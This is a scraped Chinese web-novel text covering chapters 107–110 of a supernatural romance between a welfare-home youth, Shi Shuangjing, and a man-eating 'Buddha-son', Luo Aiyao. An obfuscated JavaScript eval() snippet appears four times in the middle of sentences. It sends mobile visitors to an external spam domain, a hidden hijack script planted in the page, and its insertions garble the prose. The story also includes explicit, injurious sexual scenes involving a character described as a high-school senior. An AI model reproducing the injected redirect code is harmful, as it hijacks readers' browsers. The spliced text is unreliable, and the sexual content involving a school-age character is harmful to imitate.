施霜景瘫坐在木椅上,仿佛被抽走半身力气。罗爱曜进门时给手机关机,面色也不好。两人对上眼神,施霜景重新站起,半推着罗爱曜复又出门。 “刘奶奶被打了。” “是么——真是给新年开了个坏头。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566994|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我以为我们一起经历这些……”施霜景语顿,斟酌用词,“……她会被庇护。可为什么她还在受苦?” “众生皆在受苦,这无法避免。”罗爱曜说,“你提到‘庇护’,难道你不知道这一切都有代价?她之前所付的代价与功劳不够抵掉她这一生将要吃的苦。” 罗爱曜略有不耐,但他知道这不是施霜景的错,施霜景只是天真。施霜景觉得,他很幸福,可那么多人在受苦,所以施霜景想让罗爱曜管管——为什么?罗爱曜不是为这人间主持公义来了。人有人的法,罗爱曜就连管施霜景都是出于某种玄妙的必要性,其他人为什么要找上他。 施霜景心很乱,他想换个话题,“刚才是谁给你打电话?你怎么关机了?” “柳闻斌求我去找他老婆和儿子,之前拍卖会上没有拍到佛像的商人找上他家,他老婆和儿子被商人带出门去,柳闻斌现在才发觉不对劲。那个商人只是想要我的佛像,我让柳闻斌卖给他,柳闻斌又不愿意。”说着,罗爱曜往后捋了捋额发,心下非常郁闷,“我为什么会给你们这样一种错觉——觉得我是来为你们实现愿望的,觉得我很好说话。寺里那么多慈眉善目的金身,求他们就好了,何必求我这个没有涅槃的密教佛子?” “可是别人求你帮忙……你如果能帮,他们如果愿意付出代价,你是不是也可以帮一下?” 罗爱曜仿佛听见世上至好笑的事,摇了摇头,不愿意多说,直白说了肯定伤人。可施霜景竟然凑近,又问一遍,非要听答案。施霜景这是在得寸进尺,罗爱曜沉下脸色,他知道楼上的年轻人在偷听,所以罗爱曜压低声音:“你知道我为什么吃人吗?” “人们低估了‘许愿’这回事。他们可以在那些已作空无的佛前许愿,自我安慰,或是用小小的代价去换小小的前进,这都无所谓。他们找上我,我是现世最强大的愿力机器,人类向我发愿,如同向我发誓,他们的愿成为‘因’,我带领他们得到‘果’——这需要他们用一生来还。太多人拿到‘果’就忘记了要将他们的一生用于修行,严守我的戒律。” “打破誓言的人,无力实现誓言却非要强求的人,我会提前收走他们的性命。” 两人的距离那么近,一颗心贴一颗心,关系那么暧昧,说出的话却像寒夜里忽然亮出的一把匕首,仿佛那把匕首在施霜景颈侧冰冷地拍了拍。 “你不必担心你的誓言或代价,这些在你身上不作数。”罗爱曜问,“我们还回家过年吗?” “我今晚可能要陪着孩子们,刘奶奶明天就回来,我得交接。”施霜景退后一步,“我明白你的意思了,就当我没说过刚才那些。” “你明早过来也是一样的。” “那我如果晚上还是回家,我们能不做吗?” “新年第一天就谈条件吗?” 施霜景的后脊依旧很凉。他甚至痛恨会害怕罗爱曜的这个自己。完全不受控。施霜景非常勉强地开了个玩笑,“你拒绝帮柳司机,就是为了和我跨年上床啊。” “嗯。我知道你不想,也知道你现在心里不舒服,但我要说,是的。”罗爱曜说,“这是你答应的,我认下了,就不希望你食言。” 107.细马春蚕篇(五) 想着刘茜脸上的伤;想着关上灯又关上大门的福利院像公交站的广告灯熄灭,连带着画幅也熄灭;想着鬼子母神像在静悄悄的大年夜,代这些不负责的人类尽责;想着街边掠过的所有高树矮楼……手上的塑料袋发出嚓嚓声响,浴室里暖雾迷蒙,施霜景吹干头发,撕开塑料包装袋。 想象是一回事,现实是另外一回事。施霜景这人好像就这个样子,死没趣味,不知道摆冷酷脸色给谁看。他不是对谁都能扮热络的人,他装不出来,热络就是真热络,冷淡也是真冷淡。施霜景抹除镜子的水汽,半回过身来,系上QQNY的后带。几根线,几块布,穿出来果然很拙劣,跟想象中完全不一样。 施霜景甚至对镜前倾身体,调整这些系带,艳俗红色框出特殊的区域,正常人应该结出小粒果子的地方,他的软塌且下陷,医生向刘茜解释的说法是:他的两性发育既明白也不明白,也不知道是怎么长的。 系上项圈。套上卫衣。离开浴室。 楼下的孩子们出动了,跨年时刻,厂房禁放烟花,但炮仗什么的也没说不让玩。不能选如鞭一般长的卷筒鞭炮,拆出来一粒一粒点了也有乐趣。手举的烟花筒也五光十色,有时哗啦啦地亮闪,可以射到四楼,窗帘外就忽然一阵粒子的光影,像抛豆子一样四散开来。手机上显示十一点十八分,施霜景手脚并用地爬上床。 罗爱曜用手指将施霜景的卫衣衣领勾下来,“你竟然真的穿了。” “跟没穿一样。”施霜景自评道。 施霜景赶紧钻进被窝。他没穿KZ,洗过澡,温暖还残留在皮肤上,遇空气则冷却,空调造出的室温再热也不会如人体一般热。 换罗爱曜去浴室。施霜景伏在枕头上,困意爬上他身,化作另一床软被,哄着他睡了。往年的新年给人红灿灿的印象,今年却是幽蓝颜色,如丝如绸,如云如雨。再醒来,夜静悄悄,罗爱曜和施霜景两人的脸相对,床头灯早已关了,料想时间肯定也已经跨过了零点。施霜景睡得浑身酥软、懒怠,下意识又贴得更近,长腿交织,施霜景才发现下面的那几根线已经被扯掉,再一感知,好像卫衣里的也不见了。他们没有做,施霜景浑身清爽、轻松,罗爱曜看施霜景睡了,也没有闹他起来。睡梦中的罗爱曜看起来光洁凛然的,施霜景尤其喜欢罗爱曜眼眶骨到鼻梁的光影之衔接。手伸过去,摸进罗爱曜的睡衣里,轻轻地搔他的肋骨和侧腰。夜那么静了,施霜景屏住呼吸,手再往下,摸到罗爱曜那河谷一样人鱼线,再往下甚至要摸到毛发的边缘了,这时罗爱曜才无可奈何叹息一声,“我真不知道你想搞什么。一想到回家要做,就不高兴。让你睡,又把我闹醒?” “佛子,新年快乐。佛子,万事如意。佛子,步步高升。”施霜景说,“我们现在做也来得及。说好新年要做的。” 说罢,施霜景倒退爬进被子里,蛄蛹着脱掉卫衣,浑身赤裸。施霜景趴在被子里,很有主动的意味。 罗爱曜的手在被子里摸到施霜景毛茸茸的脑袋,罗爱曜便揉了揉施霜景的头发,再顺着脸侧的弧度滑下去,食指弯钩,勾了勾施霜景的下巴,逗他。 罗爱曜的声音隔在被子外,施霜景一边听,一边自动补全罗爱曜的话:“贪心狗,一定要我先流露善意,你才对我有好脸色。我要你说几句好话哄我的时候,你就全担心你那条小命了。这不公平吧?”罗爱曜一边反问,一边又捏了捏施霜景的下巴,有时候还会滑上去再捏捏施霜景的耳朵。 施霜景刚醒,脑子里不处理任何话语,不管了。被子里空气不流通,施霜景伸手掀了掀被子,可罗爱曜从那头拦住。施霜景没办法,只好调转方向,从侧面掀起被窝,探出脑袋来长长地呼吸一口。施霜景顺势打开床头灯,这才真正望见罗爱曜的表情。 事实上那时的罗爱曜表情根本没有任何不对劲。就是他惯常的那副等施霜景再爬回来的样子。只是今晚跨年,好像跨过了非常糟糕的过去那年,要洗去上一个大运十年的颓丧,迎来新年时会感到莫名的战栗。 地上的红色线绳QQNY根本不□□,施霜景睡着的时候罗爱曜推起他的卫衣,从上到下地观览施霜景——所谓罗爱曜的新年礼物。罗爱曜果然不喜欢。他开始对这段关系的深度感到不满。浮于表面的、人云亦云的、邯郸学步的……罗爱曜转念又一想,何必要为难一个俗人。真要爱上一个如海般深、如历史般深的另一人,罗爱曜则会有种照镜子的双重悲凉。只是施霜景的潜力就到此为止了。施霜景是一个没有前世的新灵魂,说来罗爱曜其实也是这样的新灵魂,只是罗爱曜有接引人,而施霜景流俗了。罗爱曜会成施霜景的接引人吗?所以,你的悟性在哪里?我如此投入的理由又在哪里?罗爱曜没法不想这些问题。 心里愈来愈火炼般灼烧,罗爱曜手上却只是找着线与线的接口,怎么系上的就怎么解下来。兴许这早早晚晚如翻页的生命,只是一首短歌。罗爱曜不是在等任何一个同类。恰如俗人不能理解的,其实涅槃是远离之外的更加远离,在罗爱曜看来,就是最强烈的消散,是死。那在离开之前,还有什么使命没有达成吗?没办法,只能开始审视这一切。 施霜景展开手臂拥过来,这样骑坐在罗爱曜身上,抑或单手撑着床头,低头的人,抬头的人,神说要有光,你知道一个自小受伤的青年人愿意舒展开怀抱意味着什么吗,你知道一个所谓畸形的身体这样彼此取悦意味着什么吗,你知道一颗闭锁的心毫无保留地拔下鳞甲意味着什么吗,你知道本不必说的话被说出口要承负的代价意味着什么吗?意味着他允许你用最锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566995|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利的刀往他保护数年的软肉上刻,刻印你的存在,刻印他的虔诚,最后他收拢鳞羽,珍藏流血。伏尸二人,流血五步,天下缟素。拙劣的化用。缟素是天际落雪,流血是五步后一切如常,伏尸是有先有后、你我不见、死得其所。悉达多亦有前世与来世。罗爱曜将这一切思索都留在今日今时今刻,明日太阳升起后再不去想。随去缘分,随来因果。 施霜景怕也怕,爱也爱,纵情新年,被抓起来按在身下翻来覆去地捉弄,来不及铺毯子就弄了一床,大年初一不浣洗,直做到天边泛白,将布料团成团,塞进洗衣机,当什么都没发生过。 这一晚,施霜景身上罕见地留下许多伤口,罗爱曜头一次做得心狠。大大小小咬伤或手指深深抠进肉里的凹口,浑身上下没一块好肉,大腿内侧的地方也给牙勾破了,日后施霜景做梦都会想到这一晚,无数张嘴在细细密密地啃他、吃他,施霜景还傻乐呵。晚上那蓝色的氛围随着疼痛的加深,好像又见到了新年的赤红。白天罗爱曜选择性地治了一些,留下了那些痕迹多于痛感的。 施霜景在福利院挽起袖子,旁人都会看见他掌根和手腕的半圈或是整圈牙印,施霜景借了罗爱曜的高领毛衣来遮掩痕迹。施霜景很乐天地想,这挺像佛子在他身上刻经。好死不死真让他猜对了。有关伤害的苦行,某种酷刑的决定,二人的共业,罗爱曜开始与施霜景分担。 “佛子,要不你就在停车场等我,我去接刘奶奶就行,一会儿我们来停车场找你。” “佛子,你真的要去帮柳司机?” “他们会有什么代价?” “我啊……刘奶奶这件事确实是我要帮忙来着。你能打个折吗?我可以还上吗?” “我是特殊的啊。那我就放心了。一会儿见。” “什么意思?——比庄晓那件事应该轻松一些吧?” “行。我会照顾好我和玉米。” “不吃个晚饭再走吗?今天是大年初一。” “就不治了,估计等你回来就全好了。你说过的,总是拿你当治疗仪也不是什么好事。” “我还要发消息报备啊……” “你偶尔能不能给我发点消息?” “知道。李婉萦老师大年初七以后就上工了,我会好好看书。” “你不会大年初七都不回来吧?” “要想我。” 施霜景隐隐地知道,罗爱曜其实本来就应该常处于这种忙碌的状态。既然决定要涅槃,确实要努把力。还剩下两位护法,再没有送上门来的鬼子母神或是龙王护法了。罗爱曜在像施霜景所希望的那样,去做一个有所回应的佛子。施霜景不应该感到任何的空虚或是孤单。施霜景应该要为罗爱曜感到高兴。只要罗爱曜还挂念他就行了。 108.细马春蚕篇(六) 施霜景咬笔头,全神贯注地做题,眼睛看至某一行,忽然松口,让一口长气得以缓缓送出来。在福利院写作业的日子终究还是回来了。食堂一角为他留了灯,白惨惨的,施霜景就想起中考前的那个冬天,大考与大考的记忆好像会自动连成线、连成桥,无数学生的生命就如流水、如溪河,考试越过了人,其实没有任何一位赢家哪怕是状元。 罗爱曜不在,施霜景也学习。无事可做。施霜景连歌都很少唱了,越少去K歌群就越心虚,久而久之甚至不敢打开,纠结着要不要设置不提醒,然而大家各自忙去了,群聊自然地冷却,只过年那天许多人冒泡贺了新年。 拿了红包的何晓栋偶尔想进城,问施霜景去不去,施霜景都说不去。久了,何晓栋就纳闷为什么施霜景白天不回家,那个罗老师做什么去了?“他原来真的是你的老师?”何晓栋翻着施霜景的数学笔记本,公式都在书上,笔记本记一些乱七八糟“诀窍”,只有施霜景能看懂。 “他真的会好好教我。我已经在家自习几个月了。”施霜景将他的对题本递过去,何晓栋翻看,发现里面的对题竟然不少。 “你们是那种关系,他还负责教你题……真是……”何晓栋词穷。 “除了学习,我不知道该干什么。”施霜景说完,觉得太道貌岸然了,显得他成绩很好似的,就又补充了自己的想法,“考上大学有奖学金,考不上大学我就得去找个店或者工厂打工。现在那些电子厂和食品厂一班至少上十个钟头,必须住宿舍……家里还有只猫在等我。不过打好几份工也很累……” “你现在又不缺钱了。那个罗老师会给你钱。刘老师让我不要多问,你不用回我,我说的话你都当放屁,就让我猜猜——罗老师是哪里人?B市?他是离家出走的公子哥?和家里出柜被揍出来了?……哎,无所谓,反正你从他手里要到钱就行,这样你就有钱租房子养猫,也不用去打这些工。被包养好爽。” 施霜景觉得刘茜说得对,“你别乱猜了。你很缺钱?” “谁不缺钱?我还缺房子、缺车子、缺女朋友、缺爱……你说我要是能顺利进厂,能交到女朋友吗?” “会交到的。” “你骗鬼呢?”何晓栋摆弄着施霜景的作业本和教科书,一本本摞得整齐,“她们连你都不喜欢。你以前有女朋友吗?” “没有。” “喜欢我们这种人,很没面子的。”何晓栋说。 施霜景倒是很认同这句话。校园恋爱这回事,还真不一定和钱那么有关。福利院也有男生不停地换女朋友,或是女生换男朋友。现在许多孩子不是孤儿却胜似孤儿,大家聚在一起,那么自然。何晓栋所说的“我们这种人”,是在社交里被排挤的人,没有社交技巧也学不会的人,显得孤僻的人。何晓栋说他自己甚至连游戏都打不好。一无所长的人到底要怎么让人喜欢?所擅长的东西要是完全无人在意该怎么办? 施霜景挥挥手,赶走捣乱的何晓栋。这个只小他一岁的弟弟好像逐渐和他熟络起来,何晓栋的特征就是平凡和碎嘴,可是就算平凡又怎么了呢?人人都有追求幸福美好的权利。施霜景好像慢慢回想起小时候玩游戏时,手拉着手的触感,大家围成一个圆,关系是很真实的、有温度的。 一些像小触手的微妙愿望生长出来,施霜景想和很多人握手、牵手、围成一个圆、一张网。这样,人就不会掉落下去。 每天下午大约五点,罗爱曜会给施霜景打电话。与此交换的是施霜景每天会断断续续给罗爱曜发消息。这就是“那种关系”。施霜景觉得这是恋爱关系。 大年初二,也就是罗爱曜离开之后的第一个电话:“看得见吗?哦,这些纸扎,我在柳闻斌的仓库……我继续用‘卓逸纶’这个身份,那个商人记得我。……柳闻斌的老婆和孩子应该玩得挺开心,今天通视频电话,我们看见了。……他也请我去,想要探知佛子的消息,他在电话里不会多说,我们明天估计会在S省与Q省交界处见面。……今天迎财神,给你打了钱。……不说想我?……这种电话报备形式,我不讨厌。明天还是这个时候。你可以回到复习节奏了,二百八。” 大年初三:“□□歌把柳闻斌的老婆孩子留在香港了,他们之后会自行回家。……我不喜欢干这些脏活,而且有点蹊跷。我决定从我的库里拿一尊像给□□歌,看看会发生什么。……想明天就回来。没劲。……我不喜欢往中亚的这条商路,□□歌想和我做生意,我有什么生意可做?” 大年初四:“你母亲是哪里人?……没,我随口一问。……那你父亲那边还有什么亲戚吗?……不必惦记你的远方表姑,也不必提她。……我吗?我没有父母。我记得我从出生以来发生的所有事,甚至出生前发生的事,但我不记得我有父母。我是一世投胎就成佛子的佛子,佛经里都没有像我这样资质的。……你身上发痒?……治疹子的药吃过了?好。……我很快就回来。” 今天是大年初五,施霜景等罗爱曜的电话。施霜景每天其实都没什么好发的,白天发作业,晚上发玉米小猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570636|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。施霜景甚至从未想过自拍。说起来他和罗爱曜连合照都没有。 电话打来,两张脸通过屏幕相对,施霜景截图,罗爱曜问:“你在做什么?” “没什么。”我不爱拍照,估计你也是。这样就算拍过了。 “我在□□歌家。我发现他有你的线索,知道你住在哪里。在我来之前,我就有一种预感——来了之后,预感果然验证了。” “什么预感?” “回家再仔细告诉你。不过……你现在可以想象,如果我没有涅槃,却也回不来,像佛界的恶鬼在各世飘荡,你会害怕我吗?” 施霜景想象不出来,这好抽象,只好回答:“不知道。很恐怖吗?” “我也不知道。”罗爱曜罕见地露出迷茫表情,“这还需要进一步验证。之前印证的只是我的初步猜想。” “你会有危险吗?” “我?当然不会。我只想知道到底发生了什么。” 电话那头所有东西似乎都贵,连罗爱曜喝茶的茶杯都贵,当时□□歌离拍到佛子像只差几十万美金,确实是非常遗憾。罗爱曜沉默地带施霜景视频游览马家宅,那么大,那么静,罗爱曜说:“听你的,来这里,确实没有错。” 施霜景在这头拄着自己的脑袋,半伏在桌上打视频,声音哑哑的,“真的?看来我真的也有点神奇的力量。”然后他又哑哑地笑了两声。 “不和你多聊了。你还起疹子吗?” “今天没起了。” 施霜景将卫衣衣领往下扯,露出的只有罗爱曜留给他的众多牙印,发青发乌,“现在洗澡看到这些痕迹还挺瘆人。下次还是不要咬这么狠了吧,像鬼啃的。”施霜景随意地点评罗爱曜的XP。 “鬼被人逼着来出差,你替我多烧几根香。” “十根?” “点满!走了!” “拜拜,佛子。” 电话挂断。 说是马家宅,其实还可以形容为马家堡、马家庄园……□□歌说,姓马的庄园可太多,河南有,浙江有,在Q省腹地也有。修得深,是为了藏起来。修得大,是为了困住它。点兵点将轮到他□□歌家,上有父母,左手右手兄弟姐妹,下有幼子幼女。卓先生,您不像平凡人。那天拍卖会,我一定是突然受了佛子的照顾。我在拍卖会洗手间吐了一个钟头,直吐得魂魄离体,浑身轻松。我要救我一家的命。唉,对我们这些寻常人,杀鸡焉用牛刀……唉,卓先生,我们与这高贵的祖先,怎么也落得如此不体面? 109.细马春蚕篇(七) 时分针回拨。从发生在柳闻斌家的事讲起。或许不止要讲柳闻斌的妻儿为何会出去“玩”,而是回到更早之前,柳闻斌还一无所知的时候。 柳闻斌家有一尊佛子像,他二大爷以前在五台山金阁寺做僧人时留下的,二大爷一直供这尊像,供到死前倒数几天。二大爷无妻无子,孤家寡人,柳闻斌家这一支就把二大爷当亲大爷一样赡养着。临到要死了,病床前绕了一圈孝子贤孙,其实大家都是过来蹭二大爷的佛缘,毕竟二大爷在WG平反以后还去D市周边的一所大寺做了住持,很有功力。得此照拂,柳闻斌这一支做殡葬生意,从他爷爷那代起就红火。 到柳闻斌这代,他叔伯姑母家的孩子都上了岸,当正经人,只剩柳闻斌这怂包小子,读书跟不上,干脆就教他怎么去殡仪馆和医院推销。别人都是递名片、说好话,哄逝者家属,试图拉来一单。柳闻斌这人比较鸡贼,打着佛法普度众生的名头,偷偷在公共场所提供虚假的宗教心灵马杀鸡。按摩到位了,别人就心甘情愿地掏钱,指望他提供一些附加服务,有祈福或是其他仪式就更好了。 为了偷学个一招半式,柳闻斌经常去二大爷的寺里听经,有时还参课,一来二去竟然真让他学会不少套路,还能从寺庙香客那里拉到单子。二大爷很烦这侄孙,不让柳闻斌再来,柳闻斌就换了其他寺,总之这事业越干越红火。直到二大爷临终前,好像得到某种感召,回光返照之际,二大爷点名留下柳闻斌,其他人出去。 二大爷学经讲经数十载,未曾向人提过,其实现在世上还剩一位真佛子。何以为真?是说此佛子耳目清明,秩序森严,不可思议,唐时期就避世大隐了,可他的威与灵尚存。 不空三藏在金阁寺为他试造了最初几尊小像,往后又分别在其他唐代大寺中制像留存,确认佛子像的量度标准。有了标准,应该就是为了之后批量地制造,但不空过世后,人间就再烧不出佛子像了。 因此,二大爷手中这尊佛子像,是秘宝中的秘宝。二大爷临终前获闻佛子之音,要求将佛子像传予家中最有佛缘的后代。二大爷思来想去,这大家子里,算有佛缘的竟然只有柳闻斌一个人。其他孩子家中虽有念佛诵经的,但死板愚鲁,几样大经都念不明白,茹素或课颂只是做样子骗自己。若看心诚,其实世上没有任何信徒是真正的心诚。那还不如选一个思辨灵活的。比起心诚不心诚,佛子似乎更讨厌笨人。 二大爷叫柳闻斌去他家的秘密书柜里找到那尊佛子像,以仪式将佛子像请回柳闻斌自己家,给佛子像修一个小佛龛,每日上香,就可以不管了。柳闻斌满头问号,什么叫“就可以不管了”? 二大爷出的气多,进的气少,解释不明白,只让柳闻斌记住,他尽量不要主动求佛子,这佛子像不是让他们许愿用的。既不是家神,也不是保护神,其实就是霸道地占了位置,过后很久柳闻斌才知道,这些佛像往往是佛菩萨的监视摄像头,佛子像也不例外,总得找个地方安置摄像头,还得联网、供电。 只不过这佛子像一进了柳闻斌家,票子、车子、房子、妻子、孩子都来了,那叫一个红红火火,尽管他家是做白事的。 大约五年前,柳闻斌照例给佛子上香,却发现香点不燃了,换多少根都没用。柳闻斌这下有些汗毛倒竖,但也没想太多,白天不行那就晚上再试。他晚上回来,睡前顺利地给佛子上了香,倒头大睡,竟然梦见死去多年的二大爷。二大爷在梦里敲敲打打,又是木鱼又是钵的,硬逼着柳闻斌在梦里做完这场法事。末了,二大爷说,接下来他真的要走了,柳闻斌记得听佛子的话。 第二天醒来,佛龛前多了一本可撕老黄历。柳闻斌定睛一看,这日历之前不是钉在他家墙上的吗?怎么就给人取下来放在这里了?柳闻斌凑上去,几个小字跳进眼里,“忌伐木”。柳闻斌没多想,把老黄历挂回墙上,顺便撕掉今天这一页。 早上去店里点货,中午棺材店老板过来邀柳闻斌一起去看林场,前些时日棺材店老板在地下赌场赌钱,林场老板输到裤衩不剩,就拿一处林场做抵,让棺材店老板去划一片地,那里面的木头就抵给棺材店了。柳闻斌心想,不去白不去,就当凑个热闹,当天他们就驱车前往。城里皆是实行火葬,但乡下偏僻地区还能行土葬,尤其S省是少数民族大省,一些有钱的乡老在购买棺材这方面很舍得下血本,柳闻斌自然而然乐意做棺材推销的中介。 车开到以后,林场老板先请他们吃了顿饭,趁天色变暗之前,带他们上山去看看木头。柳闻斌背着手走在队伍末尾,这林场看来至少有五六十年了,果然林场老板说,这是他老爹以前顺手置办的产业,他爹活着的时候还会盯人维护,现在林场老板想转行了,正巧想出手这一批资产,大家相聚也是缘分,如果有人愿意接这个盘子,那再好不过。柳闻斌打听了一下,这林场养护一年少说要二十万,就算只买几亩,那养一棵树要养多久呢?要交多少年的养护钱呢?柳闻斌就不停地在心里打算盘,忽然听棺材店老板说,这棵木头好,今天就要了吧,当定金。 原来这棺材店老板今天就是要带一棵木头回家的。只见棺材店老板看中了一棵五十年的松树,可做独木棺,就算只是松树这样最常见的树种,可这树无疤且粗壮,单买木头也要五位数,如果还要林场帮忙加工运输,这一棵就是两万块。 柳闻斌背着手在旁边围观,不吭声,心里忽然想到早上看到那三个字,“忌伐木”。林场老板也说天色不好了,今天就不砍了吧,明早他让木工过来砍树也是一样的。可惜棺材店老板不吃这一套,说林场老板不大气,以前他吃了酒跟人上山砍木头,看中喜欢的也是说砍就砍了,明天再喊人上来拖也是一样的。 林场老板见拗不过,只好叫了木工上山。很快,山上伐木声惊走群鸟,柳闻斌心里还是信玄学,就说他要去一旁打电话,突然来生意了。也得亏中国的通信基站多,山里确实有信号,柳闻斌躲得老远,烟瘾上来了,正心里犯突突,很想抽根烟,可惜林场不让点火。 一声惨叫响起,人声慌乱,柳闻斌心道不好,出事了。 他赶过去一看,发现竟是倒下的树木砸中了棺材店老板的小腿。旁边人说,他们都让棺材店老板再让远一点,尽管他们这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570637|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伐木工都很有经验了,能让树木顺利倒向某个方位,但细节还是会有出入。棺材店老板说,他从小就在这种林场里讨生活,会看树倒下的方向,让他们别管。伐木的前半程很顺利,直到树缓缓有了倒下的迹象,棺材店老板估算着树木倒下的具体方位,正走着呢,突然被山地里不知道什么东西绊了一下,这一下错过时机。树砸下来,正中他的小腿,整个给砸烂了,只剩一层皮连着。棺材店老板倒地哀嚎,柳闻斌吓个半死,赶紧下山去叫人、喊救护车。 待柳闻斌顺利回家已是三天后。那棺材店老板截了肢,堪堪保住性命。棺木见了血,白白浪费了。柳闻斌给佛子像上香,发现那本老黄历又给摊开来,显出今天这一页。这回柳闻斌在页上又看见几个字,“宜买卖”。柳闻斌福至心灵地打电话给林场老板,那棵树最终只用一千块就到了他手里。经过老黄历的指示,柳闻斌将那棵松木制成了梁,横搭在他家厂子的顶上,竟然是非常招财。 柳闻斌发现,好像冥冥之中有某种不可言说的力量在与他沟通。终于,某天,柳闻斌接到短信。他正式地与佛子建立联系。不为什么,就是因为他二大爷的牵线搭桥,且佛子确实需要一个司机。 起初,佛子的话非常少,几乎几个月才发一句,当是指示。柳闻斌这才知道,原来武侯区有一家五星级酒店里供奉了佛子的羊皮唐卡,每年都有家族式的信徒去施礼。柳闻斌做司机,接送过佛子的信徒,甚至有一次,佛子的信徒在D市开了车队,说是要献人给佛子,柳闻斌非常谨慎地去打听,才知道原来是某个家族里有人实在贪了心,要得太多,还不上了,佛子会吃人。 最令柳闻斌感到的恐惧的一点也是在此。柳闻斌跟过一次这样的车队,他们把人送到郊外的大别墅,此后那人就烟消云散了。柳闻斌再去问那些信徒,信徒皆是一副不认识这人的样子,不知道是装的还是真的。他们甚至否认有过车队。 今年冬天,柳闻斌接到信息,让他去郊外某个大厂的生活区接一个人,姓名、住址都非常详细。大半夜的,一个男孩下楼,柳闻斌心里非常蹊跷,也有些悲凉。这男孩看起来非常紧张。佛子为什么要找这么一个年轻人?柳闻斌一路上都开着车灯,温黄的光亮也照不散男孩脸上的阴霾。柳闻斌下意识觉得佛子不会干什么好事,他想到了那次车队、那次吃人。不过柳闻斌一点也不清楚佛子到底怎么吃人。 柳闻斌凌晨回到家,本应该睡觉,可好像心思给吊住了,大概六点的时候,柳闻斌再次接到佛子的消息。 [空白]:施霜景很紧张,你去酒店接他,顺便陪他吃早餐。 [空白]:近期我会频繁联系你。 柳闻斌再次见到那个叫施霜景的男孩,柳闻斌表面不显,心里直呼开了眼。他特别想问,佛子喊你去干什么?柳闻斌知道佛子在其他地方应该也有这样的耳目,可在S省应该就只有他一个人。自打供奉这尊佛子像开始,柳闻斌心里一直如浮云翳日,又怕又敬。那天夜里,雾散去,寒霜擦干净了月亮,好像有什么变得不一样了。 *山西五台山真的有一座金阁寺。 110.细马春蚕篇(八) 难道说,佛子要换一个S省的耳目,把柳闻斌换成施霜景? 柳闻斌在心里犯嘀咕,打起精神陪施霜景吃酒店自助早餐。 柳闻斌做生意做习惯了,不论见谁都是先盘算这人的商业价值。这男孩应该没什么钱。他对施霜景的判断是住破楼、穿旧衣、没见过世面的年轻人。柳闻斌想和他聊聊天,试图套话,施霜景竟然不接茬,不知道是话少还是有防备。吃过早饭,柳闻斌又把施霜景送去他打工的地点,原来施霜景在做手打柠檬茶的兼职。真不知道佛子请施霜景去做什么。佛子还怪客气的,要缓解这男孩的紧张。这么客气,真不是有诈?柳闻斌还是觉得,佛子想吃人,只不过这不是家族里出了不懂规矩的人——施霜景可能是突然出现的野食。 在那之后,其实柳闻斌偷偷跟踪了施霜景一段时间。柳闻斌家生意不错,他总开玩笑说自己是开灵车的,他家也确实有一辆加长凯迪拉克灵车,除此之外,他还有一辆黑色商务车和灰色代步车。接送施霜景用的是黑车,跟踪就开灰车。一连几天,柳闻斌都把车停在厂区视野好的角落里,观察几天,再次验证了之前的结论,施霜景很穷,而且还是个读高三的学生。至于施霜景是不是佛子的食物,柳闻斌无从得知,更不可能直接去问佛子。 那几日里,柳闻斌对佛子的消息是又盼又怕,很担心自己被炒鱿鱼了,甚至还怕丢命。佛子的消息阴恻恻的。送施霜景去酒店的一周后,柳闻斌有天没再跟施霜景,在家和朋友喝酒、打麻将。他老婆接起电话,柳闻斌像给电打了似的,他老婆还没说是谁,柳闻斌就知道这电话一定是施霜景打的。 柳闻斌一把夺过电话,佯装镇定。施霜景说,“佛子说他要来”。柳闻斌瞳孔颤动,他忽然觉得后背凉飕飕,一转身,发现自己背对着佛龛方向。柳闻斌朝牌友打手势,意思是去个厕所,其实他是回了卧室,继续和施霜景说话。 可惜话没说几句,刚讲到施霜景那蹊跷的餐食,电话就挂断了。柳闻斌不明白这是什么意思,佛子要干什么?难道施霜景欠了佛子一大笔?不仅电话断线,柳闻斌的手机也黑了屏,不论怎么按侧边键都没法重启。 